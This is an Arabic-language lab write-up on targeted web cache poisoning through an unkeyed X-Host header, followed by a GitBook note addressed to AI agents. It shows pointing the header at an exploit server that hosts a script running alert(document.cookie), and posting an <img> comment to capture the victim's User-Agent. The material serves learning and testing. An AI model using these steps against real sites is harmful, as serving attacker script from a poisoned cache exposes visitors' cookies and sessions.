> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/cache-poisoning/targeted-cache-poisoning-via-unknown-header.md).

# تسميم ذاكرة التخزين المؤقت المستهدف عبر رأس غير معروف

### تسميم موجه لذاكرة التخزين المؤقت للويب باستخدام ترويسة غير معروفة

استولِ على ذاكرة التخزين المؤقت باستخدام استجابة تُنفَّذ `alert(document.cookie)` في متصفح الزائر، **ولكن فقط لجزء من المستخدمين** الموافق للضحية.

#### الملاحظة الأولية

* يتم اعتراض الطلب/الاستجابة.

<figure><img src="/files/b3de8c02876a5934303981cac1d20240d94c32bc" alt=""><figcaption></figcaption></figure>

باستخدام **Param Miner** امتدادًا، نبدأ اكتشاف الترويسات القابلة للاستغلال

<figure><img src="/files/2b34fab0e9938979c2e92ba16a66037c641bccd5" alt=""><figcaption></figcaption></figure>

* تكشف الأداة عن \*\*ترويسة

<figure><img src="/files/26b4c6094bfadbcb2abe318d9f8ea07a73ebc4cd" alt=""><figcaption></figcaption></figure>

إذا `X-Host: test.com` يتم إرسالها، وتُعاد قيمة الرأس حقنها في الرد (في `src`).

```http
X-Host: test.com
```

#### تنفيذ الحمولة

1. على خادم الاستغلال\*\*، ننشئ موردًا **بالمسار/العنوان**:

* `/resources/js/tracking.js`

<figure><img src="/files/6edb5dd488914bfa5823a4743dce99b120f19751" alt=""><figcaption></figcaption></figure>

محتوى الملف:

```javascript
alert(document.cookie)
```

<figure><img src="/files/4669271e775d65d37eddc19d5690d93912cde33c" alt=""><figcaption></figcaption></figure>

#### تسميم ذاكرة التخزين المؤقت باستهداف X-Host

* يتم إرجاع الطلب مع:

```http
X-Host: exploit-0ae9007b03acd9a1802ccfa901070019.exploit-server.net
```

<figure><img src="/files/06481d932971bc60a2b97fd8cee2a4a89a41475b" alt=""><figcaption></figcaption></figure>

ثم تُحمِّل الصفحة `tracking.js` من خادم الاستغلال، مما يؤدي إلى تشغيل التنبيه.

<figure><img src="/files/b243ae3de97e5851d74480b41e723c104b4429ef" alt=""><figcaption></figcaption></figure>

#### استهداف الضحية عبر وكيل المستخدم

* نلاحظ أن الاستجابة تختلف وفقًا لـ `User-Agent` (عبر `Vary`)، لذا للوصول إلى الضحية يجب علينا **معرفة وكيل مستخدم الضحية**.

<figure><img src="/files/0646f8f5232e302f630f09df1a3c11cc6c4a6c09" alt=""><figcaption></figcaption></figure>

انشر تعليقًا يفرض طلبًا إلى خادم الاستغلال:

```http
<img src="https://exploit-0ae9007b03acd9a1802ccfa901070019.exploit-server.net/">
```

<figure><img src="/files/8f0ae2685ca69d30817d2e714c30ef581b929ca4" alt=""><figcaption></figcaption></figure>

في سجلات خادم الاستغلال، يتم استخراج وكيل مستخدم الضحية:

<figure><img src="/files/7c55f1fe4efda5fa5d539f6aaf17d163f1e03c91" alt=""><figcaption></figcaption></figure>

`Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36`


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/cache-poisoning/targeted-cache-poisoning-via-unknown-header.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
